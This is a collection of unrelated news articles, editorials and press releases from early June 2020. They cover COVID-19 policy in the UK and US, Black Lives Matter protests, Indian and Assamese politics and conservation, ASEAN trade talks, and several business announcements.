Aman Sinha, a spokesperson for the ruling Bharatiya Janata Party (BJP), responded to the Congresss trenchant criticism of the PMs Atmanirbhar Bharat call to tide over the deepening economic crisis because of the pandemic.

The Rs 20 lakh crore economic package provides numerous measures towards promoting and supporting home-grown enterprises such as all the tenders below Rs200 crore are exclusively earmarked for Indian companies. However, Congress spokespersons, like their leader Rahul Gandhi, have developed a habit of speaking without studying the finer points of the governments policies, he said.

India has also risen above over 30 countries in the Global Innovation Index since the Congress party lost power in 2014, he added.
New heights of huckleberries to celebrate Montanas record-setting turnout for this years primary elections. At last count, statewide voter turnout approached 55%, with 381,163 ballots returned from 696,174 registered voters, setting a new record for the number of votes cast in a Montana primary and lending evidence to the argument that all-mail-ballot elections do in fact increase voter participation.

In Missoula County, elections officials mailed 71,322 ballots to registered voters, and 46,240 of them were returned by Election Day. Huckleberries to county elections officials across the state who expertly handled an unprecedented number of ballots this year, even as key elections issues were debated in the courts and the coronavirus pandemic necessitated special health measures.

Quarantined chokecherries to the recent uptick in confirmed COVID-19 cases in Montana, including a new case in Missoula County believed to be a result of community spread. Thats when the virus is passed from one person in the community to another, as opposed to occurring through travel or direct contact with another person who has tested positive. The Missoula City-County Health Department announced the new case Monday, along with assurances that the department is monitoring the infected individual and that persons one known contact as they remain in isolation.

This case should serve as a reminder to everyone in Missoula that basic health precautions  wearing face masks in public, washing hands frequently and social distancing  is as important now as ever before, especially as restrictions are loosened and more places open their doors to more visitors.

And with that in mind, chokecherry mufflers to those who not only visit businesses without a mask, endangering employees and other customers, but are obnoxiously rude about it besides. Home ReSource is not the only place to witness this selfish behavior, but it has responded in a way thats both lighthearted and educational, with staff writing on a white board some of the insults theyve heard from customers who dont like the local nonprofits policy requiring face coverings. The board includes a reminder from staff to Be kind. Or be original.

Bacon-wrapped huckleberries to the Missoula County Public Schools Agricultural Center for its donation of three tons of pork  valued at about $20,000  to the Missoula Food Bank and Community Center. Ag Center staff, including high school students learning the ropes of meat processing, prepared a variety of cuts from 30 pigs originally donated by a farmer in South Dakota, the Big Sky DECA club, and the Missoula, Corvallis and state chapters of Future Farmers of America. The pork donation ensures that the food bank, which has seen an increase in need for emergency food assistance each year and an even larger spike in visits since the beginning of the pandemic, will be able to continue to help Missoula families put food on the table and inside hungry bellies.

A lifetime supply of huckleberries to Vickie Zeier, whom Missoulian news staff know from firsthand experience to be exceptionally helpful and accessible to the public, as well as endlessly patient when correcting the spelling of her name. After 35 years of employment with Missoula County, the last six as chief administrative officer, Zeier is retiring with a legacy worth honoring and emulating, one in which serving the people of Missoula County always came first.

This editorial represents the views of the Missoulian Editorial Board: Publisher Jim Strauss, Editor Gwen Florio and Opinion Editor Tyler Christensen.

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T ony Blair has claimed it will be virtually impossible to get track and trace working effectively unless the government brings in mass testing.

The former Labour Prime Minister is calling on the government to adopt a mass coronavirus testing regime which would allow the bulk of the population to be tested.

Mr Blair warned that the UK is now unlocking restrictions when Covid-19 levels remain "stubbornly high". A report by his think tank, the Tony Blair Institute for Global Change, said the UK's approach to testing is chiefly concentrated on lab-based tests for those with symptoms and critical workers.

It comes amid rumours that the NHS Test and Trace system is not expected to be world class until at least September.

Face coverings will be required on public transport from June 15 (via Getty Images) / AFP via Getty Images

Mr Blair told BBC Radio 4s Today Programme: I think theyve got to go back to what was their original strategy published back in April which was to have mass testing.

Theyve departed from that and now effectively only doing targeted testing and I think that this is going to make it much more difficult to get out of lockdown fast.

And I think its going to be  I would say  virtually impossible to make track and trace work effectively unless you are combining it with mass testing.

The New Labour PM, who won three General Elections, said if the system only tested those showing symptoms it could miss a lot of the people who are asymptomatic.

He said the most important thing the government should be preparing was a containment strategy and added: Its not just a question of how we ease the lockdown today. My anxiety is what happens if there is a resurgence of the disease in October-November?

The problem with the UK, Im afraid, is that our situation is worse than comparable countries.

Yesterday we had almost 1,900 confirmed cases. That is more than France, Italy, Spain and Germany put together. Our death rate is still significantly above others and yet we are easing.

So we are easing the lockdown in circumstances where we are in a worse position than comparable countries and thats why our position on testing has got to be a lot tougher and better than other countries.

Grant Shapps defended the test and trace scheme this morning / 10 Downing Street

Transport Secretary Grant Shapps defended the test and trace system this morning after one of the programme's senior executives said it will not be "world class" until at least September.

Tony Prestedge, the scheme's chief operating officer, admitted in a webinar that the programme would not be world-beating until September or October, the Guardian reported.

But Mr Shapps said that Mr Prestedge was talking specifically about the app, which is not now due to be rolled out until the end of the month.

Mr Shapps said: "The NHS Test and Trace system, let's just be clear about what is there now, anybody who feels ill - you don't have to be in a particular category, you don't have to be a key worker - with coronavirus symptoms can now go to gov.uk or the NHS website and book a test, it is that straightforward.

"And because the capacity is there with tests in very large numbers - in fact, probably some of the largest numbers in the world now - that is freely available."

A Department of Health and Social Care spokesman said: "The new NHS Test and Trace service is up and running and is helping save lives.

"Anyone in this country can now book a test and the majority who book a test get the results back within a day.

"We have over 25,000 contact tracers in place, who have all been trained and are fully supported in their work by public health experts."
NEW DELHI, INDIA / ACCESSWIRE / June 5, 2020 / Abdullah Mehmood is the youngest Asian entrepreneur who owns public relations agency. This 17 year old Pakistani sensation, has been an inspiration to young minds nationwide. Abdullah is currently a serial entrepreneur, meaning he owns more than one functional and successful business' and is always increasing his fleet of business'. Once he was asked behind his motive to do all this, to which he gave the logical response that humankind is race and you must excel in more than one thing to ace this race

He currently runs a media agency known as Rex Media group. This media group deals in many segments and is focused on providing maximum services in whichever segment it works in. His company was started by him when he was just 17 years old, and he has been dealing with public relations ever since then. This in itself is an achievement. He has successfully proven that age is just a number and dedication is what matters.

Getting back to his company, it is primary focused on providing the best opportunities for brands and public figures to grow on social media, which is the demand of consumers. Rex media group is a well-established brand itself, which is known for doing public relations which is its primary and largest focus. It also does media marketing which helps new businesses grow from scratch. Celebrity management press releases are just 2 more of the services his company provides.

He was just 13, when many famous pages with over millions in fan following were under his ownership. This made brans approach him for promotions. This helped him rapidly make connections which later helped him in his carrier. This introduced him to the press and media industry.

He is officially living the Pakistani dream which locals tend to wish for. He started his carrier when he was just 13. After much struggle, he was able to make several successful pages with a large fan following. Via these pages, he then started to support brands. Although his main motive behind growing these pages was to get a name, after realizing that these could be a potential source of income, Abdullah started exploring more of this field, and this exploration marks his position where he is today.

However, he is not there without struggle and failure. The first bit of experience he gained was from his first YouTube channel was started by him when he was just 15. With much dedication and hard work, within just a year of quality uploads, he was able to gain 100,000 subscribers. This marked the start to something new for him. He got his first play button when he was just 16 years old. He currently has 3 YouTube silver awards and is proud to hold one world record.

After YouTube, he shifted to a e-commerce shoe store, which gained fame and reputation. This was his debut to entrepreneurship. He started this from just a few of his savings, and he was able to turn this all into a national brand. These are just 2 of his major successes.

From modeling to press releases, you name it, Abdullah Mehmood has done it all! After all this success, it is no shock for us to see that Abdullah choose business as his profession.

CONTACT:

25hournews indiandailypost

jigar@pmcommu.com

9825899824

SOURCE: 25hournews

View source version on accesswire.com:https://www.accesswire.com/592899/Abdullah-Mehmood-youngest-and-most-successful-Entrepreneur-under-18-in-Asia
An online meeting between economic ministers in Southeast Asia and China, Japan and South Korea yesterday (ASEAN+3) took place yesterday in the capital city.-VNA/VNS Tran Viet

Anh chaired an online meeting between economic ministers in Southeast Asia and China, Japan and South Korea yesterday (ASEAN+3), discussing ways to boost regional economic cooperation and supply chain connectivity amid the complicated and unpredictable COVID-19 pandemic.

At the meeting, participants discussed building platforms to facilitate existing trade to promote and support supply chain connectivity in the region and leveraging technology and digital commerce to support and allow businesses, especially micro, small and medium-sized enterprises (MSMEs), to continue operations.

With the adoption of the Ha Noi Action Plan, which is based on the joint statement of ASEAN Economic Ministers in March 2020, the participants agreed to maintain commitments to ensure food security and enhance resilience and sustainability of the regional supply chain.

Anh said the ministers agreed on a number of important measures to ensure the flow and transport of essential goods, serving the daily needs of the people such as food items and medical products, as well as ensuring smooth supply chains between ASEAN and partner countries.

Participants at the meeting agreed that it was a very important time as the global and regional economy face requirements to restructure.

All countries agreed to focus on the path of intra-regional cooperation, creating a highly competitive area to attract investment, restructure the economy, and develop the market where barriers including tariffs and non-tariff were limited.

The meeting also discussed efforts to make full use of the Rice Reserve Fund and seek the possibility to develop a stockpile of essential medical supplies and equipment.

They also discussed ways to promote customs cooperation to facilitate the clearance of goods at border gates while protecting people from virus infection.

As ministers said the pandemic was still the main concern and could be back at year-end, they agreed to continue fighting and preventing the virus by coordinating closely to ensure effective socio-economic cooperation programmes.

Anh said: All countries are taking into account measures to revive the economy, ensuring the interests of each country as well as partner countries.

He said: All partnerships, whether within ASEAN or with ASEAN partners, are extremely important for economic development, adding only cooperation can bring about high efficiency and stable development of each country.
The Duchess of Sussex sounded like the 'old Meghan' in her speech on George Floyd's death, a friend has told Vanity Fair.

Meghan, 38, this week delivered a virtual address to graduating pupils at her old school, Immaculate Heart High School in Los Angeles, in which she also named other African Americans who were killed in by police in recent years.

The 38-year-old former actress, who attended the school from the age of 11 to 18, said: 'George Floyd's life mattered and Breonna Taylor's life mattered and Philando Castile's life mattered and Tamir Rice's life mattered'.

Speaking to Vanity Fair today, an anonymous source said the words were '100 per cent' Meghan's while a friend, who 'works closely with her on her charity work' said the duchess sounded 'less restrained' and more like she did before she joined the royal family.

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Meghan, 38, this week delivered a virtual address to graduating pupils at her old school, Immaculate Heart High School in Los Angeles, in which she spoke about George Floyd's death and named other African Americans killed by police. Pictured, Meghan giving the address

Speaking to Vanity Fair today, a friend said the duchess sounded 'less restrained' and more like she did before she joined the royal family. Pictured, Harry and Meghan at the Invictus Games in Toronto in September 2017, two months before they announced their engagement

'Listening to her was like hearing the old Meghan,' the friend told the publication. 'She sounds less restrained and more herself and much more how I remember her from when we first met, way back before she was a member of the royal family.'

The second source explained there had been 'a lot of discussion' around Meghan's response because she wanted her message to be 'communicated appropriately'.

'It wasnt easy, but she was determined to say something. These are her words, her sentimentsits 100 per cent her,' the source added.

Meghan herself acknowledged her hesitations around speaking, saying she knew her words would be 'picked apart'.

She said: 'I wasn't sure what I could say to you. I wanted to say the right thing and I was really nervous that it would get picked apart. And I realised the only wrong thing to say is to say nothing.'

It comes as demonstrations continue to build around the world after Mr Floyd, a 46-year-old black man, died after white police officer Derek Chauvin put his knee on his neck in Minneapolis on May 25 for almost nine minutes. Pictured, New York last night

Meghan made the six-minute virtual speech on Wednesday before the video was released to black women's lifestyle magazine Essence, which published it on its website yesterday saying 'courtesy of Meghan, Duchess of Sussex'.

It comes as demonstrations continue to build around the world after Mr Floyd, a 46-year-old black man, died after white police officer Derek Chauvin put his knee on his neck in Minneapolis on May 25 for almost nine minutes.

During the video, Meghan also said there were many others killed by police who would never have been named. She said: 'As we've all seen over the last week what is happening in our country and in our state and in our home town of LA has been absolutely devastating'.

'I know you know that black lives matter': What Meghan told the students for graduation speech On Black Lives Matter: 'With as diverse, vibrant and opened minded as I know the teachings at Immaculate Heart are, I know you know that black lives matter' On the 1992 Los Angeles riots: 'I remember the curfew and I remember rushing back home and on that drive home, seeing ash fall from the sky and smelling the smoke and seeing the smoke billow out of buildings' On waiting to speak out: 'I wasn't sure what I could say to you. I wanted to say the right thing and I was really nervous that I wouldn't or that it would get picked apart. And I realised the only wrong thing to say is to say nothing' On African Americans killed by police: 'George Floyd's life mattered and Breonna Taylor's life mattered and Philando Castile's life mattered and Tamir Rice's life mattered, and so did so many other people whose names we know and whose names we do not know. Stephon Clark, his life mattered' On what her teacher once told her: 'One of my teachers, Ms Pollia, said to me as I was leaving for a day of volunteering, 'always remember to put other's needs above your own fears'. And that has stuck with me throughout my entire life' On people coming together: 'We are seeing people stand in solidarity, we are seeing communities come together and to uplift. And you are going to be part of this movement. Advertisement

The Duchess also said how the students are 'going to have empathy for those who don't see the world through the same lens that you do', adding: With as diverse, vibrant and opened minded as I know the teachings at Immaculate Heart are, I know you know that black lives matter.'

The former Suits star told students that she had been about to start secondary school when the Los Angeles riots began in the spring of 1992 after the brutal beating of Rodney King.

She said: 'I was 11 or 12 years old when I was just about to start Immaculate Heart Middle School in the fall, and it was the LA Riots, which was also triggered by senseless act of racism.

'And I remember the curfew and I remember rushing back home and on that drive home, seeing ash fall from the sky and smelling the smoke and seeing the smoke billow out of buildings and seeing people run out of buildings carrying bags and looting.

'And I remember seeing men in the back of a van just holding guns and rifles. And I remember pulling up at the house and seeing the tree, that had always been there, completely charred. And those memories don't go away.'

Meghan also referred to some advice she was given by a teacher aged 15, saying: 'I remember my teacher at the time, one of my teachers, Ms Pollia, said to me as I was leaving for a day of volunteering, 'always remember to put other's needs above your own fears'.

'And that has stuck with me throughout my entire life and I have thought about it more in the last week than ever before.'

Meghan was referring to her former theology teacher, Maria Pollia, who has previously described her as a 'remarkable student' who was 'very enthusiastic about the material, but always took it a step further'.

Meghan also spoke to the students about their futures, saying: 'You know that you're going to rebuild, rebuild and rebuilt until it is rebuilt.

'Because when the foundation is broken, so are we. You are going to lead with love, you are going to lead with compassion, you are going to use your voice.'

She added that the students would 'use your voice in a stronger way than you have ever been able to because most of you are 18  or you're going to turn 18  so you're going to vote'.

Meghan also told them: 'You are equipped, you are ready, we need you and you are prepared. I am so proud to call each of you a fellow alumni, and I'm so eager to see what you're going to do.

'Please know that I am cheering you on all along the way, I am exceptionally proud of you, and I'm wishing you a huge congratulations on today, the start of all the impact you're going to make in the world as leaders that we all so deeply crave. Congratulations ladies, and thank you in advance.'
KINGSTON, ON, June 5, 2020 /PRNewswire/ - After three successful years in Kingston, ON, one of North America's largest online live performance festivals, Festival of Digital Art (FOLDA) is set to launch 13 live performances & events, June 10 - June 13, 2020 streamed from Toronto, New York City, Montreal, Los Angeles, and Kingston, via FOLDA.ca .

Co-Curators of FOLDA, Adrienne Wong, Sarah Garton Stanley & Michael Wheeler have been gathering artists, innovators and art enthusiasts for a week-long festival at the Isabel Bader Centre For The Performing Arts "to create theatre for the future" says Garton Stanley. "What happened with COVID-19 is that the future arrived unexpectedly early."

"Our initial desire to create this festival was that we saw this huge influx of work, on the internet and we wanted to have a place where we can come together and see how it is changing performance," says Wheeler who is an incoming Assistant Professor at Queen's University. He continues, "Live streaming expertise is in high demand. My phone has been ringing constantly during the shutdown looking for advice on how to keep creating."

With support from key partners such as the City of Kingston, officials are pleased to see innovation & art continue during the pandemic. Mayor Bryan Paterson explains, "As a city, we're always looking to embrace innovation, art, culture and technology. They are at the heart of inspiring new and exciting ideas. We're proud to support FOLDA as one of Canada's largest online live performance festivals," says Mayor Paterson. "This collaborative initiative is a demonstration of resilience and innovation coming out of Kingston at a time where the cultural industry around the world is struggling."

FOLDA is a good news story within the arts & culture community and also innovation & technology. FOLDA is also a safe way to enjoy live theatre during the pandemic. "Theatre is a social form. The internet is good at connecting people," Wong says. "I don't know if this is so much about bringing people to theatre as it is about bringing theatre to where people are."

FOLDA has the potential to be one of the largest festivals of its kind in North America. It is perfectly located in Kingston, Ontario which was recently ranked as a top startup ecosystem in the world.

SOURCE FOLDA.ca
Symptoms of COVID-19 include fever, cough, shortness of breath, chills, repeated shaking with chills, muscle pain, headache, sore throat and loss of taste or smell.

Do not go to an emergency room or doctor's office unless it is a true emergency. Call your primary doctor first.

If you don't have a primary doctor, you can call:

DMH Medical Group at (217) 876-2856

HSHS Medical Group Patient Advocate at 844-520-8897

Crossing Healthcare at (217) 877-9117

SIU at (217) 872-3800
Representative image

Nazimuddin Siddique

While the rest of India is busy fighting the COVID-19 pandemic, the National Board for Wildlife (NBWL) in early April held a meeting and recommended opencast coal mining in Saleki proposed reserve forest (Saleki PRF), situated adjacent to the Dehing Patkai Wildlife Sanctuary, in the Dehing Patkai Elephant Reserve, in Assam.

Following this thousands of citizens have commenced protests against the governments decision. As the lockdown is easing, the intensity of the protests is increasing. Many are going to the wildlife sanctuary to register their protest against this government decision that will significantly contribute in destructing the forest. Activists, conservationists and student organisations are organising protests across Assam.

Sadly, this will not be the first time that the rainforest is under attack. Thousands of trees have been felled by smugglers, whom many claim have the tacit support of government agencies. The current approval has gone to the North Eastern Coalfields, which is a unit of Coal India Limited (CIL). Surprisingly, the CIL has been accused of illegal mining at the Saleki PRF for 16 years, and consequently was ordered to pay a fine of Rs 43.25 crore.

This current clearance is in addition to the environmental clearance that was accorded to Oil India Limited (OIL) by the Union Ministry of Environment, Forest and Climate Change to carry out widespread drilling and hydrocarbon testing. These environmentally hazardous drillings will be carried out in at least seven sites of the reserve.

COVID-19 Vaccine Frequently Asked Questions View more How does a vaccine work? A vaccine works by mimicking a natural infection. A vaccine not only induces immune response to protect people from any future COVID-19 infection, but also helps quickly build herd immunity to put an end to the pandemic. Herd immunity occurs when a sufficient percentage of a population becomes immune to a disease, making the spread of disease from person to person unlikely. The good news is that SARS-CoV-2 virus has been fairly stable, which increases the viability of a vaccine. How many types of vaccines are there? There are broadly four types of vaccine  one, a vaccine based on the whole virus (this could be either inactivated, or an attenuated [weakened] virus vaccine); two, a non-replicating viral vector vaccine that uses a benign virus as vector that carries the antigen of SARS-CoV; three, nucleic-acid vaccines that have genetic material like DNA and RNA of antigens like spike protein given to a person, helping human cells decode genetic material and produce the vaccine; and four, protein subunit vaccine wherein the recombinant proteins of SARS-COV-2 along with an adjuvant (booster) is given as a vaccine. What does it take to develop a vaccine of this kind? Vaccine development is a long, complex process. Unlike drugs that are given to people with a diseased, vaccines are given to healthy people and also vulnerable sections such as children, pregnant women and the elderly. So rigorous tests are compulsory. History says that the fastest time it took to develop a vaccine is five years, but it usually takes double or sometimes triple that time. View more Show

The Dehing Patkai Elephant Reserve, which covers about 937 sq km, is crucial for the ecological balance of the region and, in particular, for Assam. It is one of the largest rainforests in India and is known as the Amazon of the East. It hosts a rich diversity of flora and fauna.

The 111.19 sq km wildlife sanctuary has been sheltering about 293 species of birds, 42 species of mammals, 30 different types of butterflies, 100 species of orchids, 13 endangered species among many other species of flora and fauna. These include the Asian Elephant, Capped Langur, Clouded Leopard, Hoolock Gibbon, Slow Loris, and many more. It is also the home to the state bird of Assam  Deo hah (White winged wood Duck), and the state tree of Assam Hollong.

The Dehing River flows through the forest spread over the foothills of the Patkai Hill range. It is the Patkai Hill through which Chaolung Sukaphaa adventured into Assam in the 13th century, and went on to construct the Ahom dynasty that ruled a significant portion of Assam, specially the present days upper Assam, for about 600 years.

The current NBWL order is a serious blow to the fast vanishing forest cover in India. As per the India State of Forest Report, published in 2019 by the Forest Survey of India, Assam has only 3.6 percent very dense forest left.

The Bharatiya Janata Party (BJP)-led Sarbananda Sonowal government is claiming that the area where the mining will be carried out is about 9.1 km away from wildlife sanctuary. Conservationists, however, claim that the proposed opencast coal mining site is within the elephant reserve. The Wildlife Conservation Strategy, 2002 declares that zones within the range of 10 km of national parks and wildlife sanctuaries are eco-sensitive zone (ESZ) or eco-fragile zones. Coal mining, if carried out, will usher in series of serious repercussions on the ecosystem of the region and will also sabotage the existing elephant corridor.

Humans have coerced to extinction scores of species and have pushed many thousands to the brink of extinction. At a time when we need massive afforestation, the governments decision to further destroy the Dehing Patkai Wildlife Sanctuary and Elephant Reserve is alarming  and needs to be withdrawn. If the government decides to go ahead with its plan, it will be paving the way for an ecological catastrophe in Assam.
Citigroup's Ray McGuire appears to be moving closer to running for mayor of New York.

He has held court with several high-profile political strategists recently, and at least one city political power player seems to be working the phones on his behalf.

McGuire, one of the most prominent black executives in finance, is vice chairman of Citigroup and chairman of its banking, capital markets and advisory business. He has been speaking with senior New York political advisors about a possible run for the city's highest office, according to people familiar with the matter.

Hank Sheinkopf, a veteran strategist whose previous clients include former President Bill Clinton and former New York Mayor Mike Bloomberg, met with McGuire before the state locked down due to the coronavirus pandemic.

While he declined to comment on whether he's met with McGuire, Sheinkopf did tell CNBC that he believes the Citi executive could stand a chance, particularly if Mayor Bill de Blasio leaves the city in financial distress after his term ends in the wake of the coronavirus pandemic and ongoing citywide protests. He insisted, though, that it's going to be difficult for anyone new to the New York political scene to create a movement needed to win.

"Do I think that he's up to the task? It's hard to create a political organization in New York City, nobody knows what the future looks like," Sheinkopf said. "Could he make the case? The answer is he can make the case. Could he be a level of calm while we're in the middle of the storm? The answer is he could be."

A few Democratic Party advisors have told McGuire that he has a chance of winning the race next year if he can demonstrate how he has been a leader on Wall Street. They believe the city will looking for a mayor with a strong track record of experience and leadership, especially as it recovers from the economic devastation from the spread of Covid-19.

Since March, the state of New York has seen more than 2 million unemployment claims. The city is expected to start their phase one reopening plan on Monday. De Blasio has been slammed by critics for reacting too late in shutting down the city, including schools.

McGuire's allies in the business community push his professional achievements whenever CNBC has recently asked about what they think of McGuire possibly running for mayor. They notably do not rule out him getting into the race.

"Ray McGuire is an outstanding professional with a sterling record of achievement," Vernon Jordan, a senior managing director at asset management firm Lazard, said in an email. "His academic achievements are inspiring for young people and the integrity and character Ray demonstrates in his professional endeavors are exemplary for his peers and mentors. He has a bright future ahead." Jordan, who is also black, is a longtime business and political power broker, and he has strong ties to the Clinton family.

As of earlier this week, these people familiar with the matter noted that McGuire had yet to officially make a decision on whether he would run. Others that are reportedly possible contenders for mayor include City Council Speaker Corey Johnson, Comptroller Scott Stringer and Brooklyn Borough President Eric Adams.

Though he's never run for political office, McGuire has been a donor to Democrats, including a recent stint on Sen. Kamala Harris' presidential finance committee. He is now a supporter of apparent Democratic nominee Joe Biden.

Some of the discussions with political strategists, a person noted, have been linked to Keith Wright, the chair of the New York County Democratic Committee. Wright has been a player in New York politics for well over a decade, including a stint working with David Dinkins, when he was the Manhattan borough president. Dinkins eventually went on to be mayor of New York in the early 1990s.

Wright, after publication, denied that he was organizing meetings for McGuire but noted he's known him for 40 years.

"I have known Mr. McGuire for 40 years. I have not set up any meetings for him at all. In addition, I am not supporting any mayoral candidate at this time," Wright said.

The people describing McGuire's ongoing decision process declined to be named as they have all been made in private.

After laying out what CNBC learned about McGuire, his Citi spokeswoman did not deny it and declined to comment further.

All of these moves suggest that McGuire, at least unofficially, has been pushing forward with exploring a run for mayor and he's gone much further than just discussing the idea among friends, as CNBC first reported earlier this year. At the time, McGuire's press representative said "talk about him considering a run for mayor of New York City is pure speculation."

De Blasio has come under fire while he wraps up his second term as mayor of New York, including on the handling of protests that have rocked the city. The outrage across the country on racial injustices and police abuse, came after the death of George Floyd, a black, unarmed man who died after a Minneapolis police officer knelt on his neck for nearly nine minutes.

The mayor has often sided with the New York Police Department that has been accused by progressive leaders of acting, in some cases, too violently against the protesters.

McGuire himself has sided with police in the past, co-signing an open letter last year with almost two dozen other black leaders that defended the NYPD after some officers were verbally attacked and doused with water. Adams, the Brooklyn borough president, who is also considering getting into the mayoral race, also signed the letter.
[June 04, 2020] Hyosung Chairman Cho Hyun-joon Signs MOU with POSCO ICT to Develop Smart Factory Solutions

Hyosung ITX will develop smart factory solutions to expand its related market. Hyosung ITX, an IT subsidiary of the Hyosung Group (KRX:004800), announced that it recently signed an MOU with POSCO ICT in the POSCO ICT building in Pangyo, Gyeonggi Province, to develop smart factory solutions. Smart factory solutions are a system to help make quick and right decisions in the process of production by collecting and analyzing data from all of the product-related processes from manufacturing to sales. "We should lead in the age of big data through the fusion of information technology and existing production systems. We should also have a system to respond quickly to customer needs, aapting ourselves to the times of singularity focused on advancements in artificial intelligence," Hyosung Chairman Cho Hyun-joon said.



Hyosung ITX (KRX:094280) has turned many factories of the group at home and abroad into smart ones since 2017, gaining know-how in various manufacturing fields including textiles, chemicals, and heavy industries. Similarly, POSCO ICT has acquired rich experience and know-how from its application of smart factory solutions to steelworks run by POSCO. Both companies expect the MOU to enable them to build systems optimized to serve individual manufacturers. To achieve this, the two sides will share all technologies related to hardware and software of smart factories involved. Technologies to be shared include MES (Manufacturing Execution System) to schedule works and aggregate results, SCM (Supply Chain Management) of supply chains ranging from parts to customers, and VAS (Visual Analytics System) for real-time analysis through visualization for users to grasp the current situation of quality and process management at a glance.

Meanwhile, Hyosung ITX has carried on smart factory business since 2017 by utilizing its IT competitive advantage based on IoT, cloud, and big data technologies that drive the fourth industrial revolution. View source version on businesswire.com: https://www.businesswire.com/news/home/20200604005814/en/

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In an attempt to ensure academic and religious life returns to normalcy in Ayawaso West Wuogon, the Member of Parliament, Madam Lydia Alhassan has disinfected Schools, Mosque and Churches in the constituency.



The exercise which began on Monday, June 1, 2020 forms part of preparations toward the reopening of schools, churches and mosques.



Madam Lydia Alhassan was optimistic that the disinfestation will help fight the spread of the deadly COVID-19 pandemic in her constituency.



She also urged Ghanains to adhere to the safety measures of Health officials to curb the spread of the virus.





Source: Josephine Acheampomaa/[email protected]









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The call marked an extension of the presidents war with Democratic governors, who he claims have moved too slowly to reopen the country after months of self-imposed quarantines meant to slow the viruss spread. Cooper, like other governors and health officials  including those from Trumps own administration  continues to call for cautious reopenings, the wearing of masks when near others, social distancing, and curbs on mass gatherings.
When Caden Willaby and Ross Cahill organized a march in their small town on the Columbia River to protest the death of George Floyd, the St. Helens High School students figured it would be a way to get their classmates to show up for a cause they believed in.

They hit publish on the Facebook event page they created late last week and went to bed.

But when the two awoke the next morning, their demonstration plans had ignited a firestorm of threats and disinformation.

Cahill, who is white, told The Oregonian/OregonLive the two felt intimidated by some of the comments Columbia County residents left on the page.

Many said they planned to show up brandishing firearms for fear the demonstration would result in looting and rioting. One man said he would run over demonstrators who impede traffic.

So Cahill and Willaby pulled the plug.

The hate was extremely overwhelming, Cahill said. Canceling the march was a weight off our shoulders.

Cahill and Willaby, who is black, shrugged it off. But they didnt know how much the demonstration meant to one of their classmates.

I am deeply upset with our community, senior Savannah Manning wrote on Facebook Monday. This town makes me feel like my voice, and who I am as a person, can be tossed aside and not cared about.

Manning, 18, is black and Native American. She told The Oregonian/OregonLive she was frightened by the vitriolic attitudes she saw some Columbia County residents had toward the planned demonstration.

I face racism in my town every day, she said. And I was disappointed at how some community members wanted to disband a peaceful protest.

Mannings post was shared widely among a community Facebook group moderated by longtime St. Helens resident Shana Cavanaugh. And when she saw the student-led event had been canceled, Cavanaugh immediately began working with city police to resurrect the demonstration.

She and Sgt. Evin Eustice spent two days negotiating a march and rally in front of the Columbia County Courthouse. Because of Gov. Kate Browns ban on gatherings of 25 or more people, the city couldnt issue a permit for the event.

Eustice was hesitant to allow demonstrators to march. Cavanaugh said a march was essential for the students to make their point.

Eustice told The Oregonian/OregonLive that several county residents feared a Black Lives Matter protest would attract out-of-towners hell-bent on rioting and looting. Several national media outlets have reported on disinformation spread by white supremacists claiming to be antifa and threatening to invade suburbs and residential areas.

The police department eventually agreed to work with organizers to make the Black Lives Matter rally take place and do so safely.

But even after St. Helens police announced plans to patrol the demonstration and maintain order, some county residents planned a pro-Second Amendment rally as a counterdemonstration to Cahill and Willabys Black Lives Matter protest.

Others pledged to watch the march from afar, guns and rifles at the ready to discourage any property damage.

On Wednesday, hundreds of St. Helens area residents and some people from further away streamed into the center of the Columbia County seat, population 13,000, for a pair of dueling demonstrations.

About 500 marched holding signs bearing George Floyds name or slogans like Black Lives Matter. They stuck to the sidewalks as Cavanaugh shouted for demonstrators to keep from impeding traffic on busy Columbia Boulevard as the group marched from Lewis and Clark Elementary to the courthouse a half-mile away.

Counterdemonstrators and lookie-loos dotted the march route, some of them cheering for marchers.

The Columbia and Clatsop county sheriffs offices sent deputies to aid St. Helens police. Oregon state troopers and Columbia City police patrolled the rally as well.

Counterdemonstrators numbered about 200, Eustice said. Some of them mingled with the Black Lives Matters protests and debated such things as white privilege and the role of police in a community.

Heated arguments are okay, Eustice said. We just wanted to make sure it didnt go beyond that.

When the Black Lives Matter protest reached the Columbia County Courthouse a cast of speakers led by Manning addressed the crowd.

The St. Helens High senior asked assembled community members to spare a moment of silence for Floyd, who died after a Minneapolis police officer pressed a knee into his neck for nearly nine minutes.

As you draw your attention back to my voice, I say Black Lives Matter. I am black, I am Native American and I want a positive and peaceful change that can bring an end to systemic racism, discrimination, police brutality and violence, Manning said.

She professed her disappointment with the threats that initially led to the rallys cancellation and assured counter demonstrators that she and her peers were there to protest peacefully.

We have to come together. We have to talk about the unjust things that still happen towards our black brothers and sisters. We have to talk about the unjust things that still happen towards all people, Manning said.

After Mannings speech, organizers asked other attendees if theyd like to speak.

Aubren Schneider, a black woman from Portland, addressed the crowd and said to some cheers she supports President Donald Trump. But she drew jeer when she said Floyds death was the result of the actions of one police officer who didnt represent any larger systemic problems.

Some began to chant take the mic.

Schneider, 43, was greeted with handshakes and hugs when she left the courthouse steps, with many attendees thanking her for sharing her opinion despite the pushback.

Just after 6 p.m., demonstrators moved to a nearby gazebo where Willaby addressed the crowd to cheers and chants of No justice, no peace and black lives matter as Manning lingered at the courthouse.

She was later met nods of approval and shouts of encouragement as she wound her way toward the gazebo.

Manning stopped to thank them all, then joined her peers in peaceful protest.

--Eder Campuzano | 503-221-4344 | @edercampuzano

Eder is The Oregonians education reporter. Do you have a tip about Portland Public Schools? Email ecampuzano@oregonian.com.

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The Education for Nature  Vietnam (ENV) has appealed for an end to commercial farming of endangered wildlife, in an attempt to conserve biodiversity on the occasion of the World Environment Day 2020 (June 5).

A great hornbill, a rare animal species, is released into the Bach Ma National Park in Thua Thien-Hue province on May 21

The ENV said on June 4 that this years World Environment Day theme of Time for Nature is highly meaningful as the world is facing serious and rapid degradation of biodiversity and wildlife populations.

Its time for countries to prioritise actions and policies for conserving the nature, biodiversity and wild animals and ensuring the balance with economic development, the organisation noted.

ENV Deputy Director Bui Thi Ha said there are various choices to develop economy and eliminate poverty, but there is only one opportunity to protect biodiversity and some species from extinction in the country.

Given this, the ENV has released a short film urging the eradication of commercial breeding and farming of endangered wild animals for the sake of biodiversity, which serves as a message calling on policymakers to perfect relevant policies and legal regulations.

Many people believe the commercial breeding and farming of threatened species can both generate profit for breeders and help ease pressure on wild animals, arguing that supplies from farming facilities will lead to a sharp fall in poaching and can also be used for research or reintroduction into the nature.

However, the ENV, most of conservation organisations and scientists do not support the breeding, farming and trading of endangered wild animals for commercial purposes.

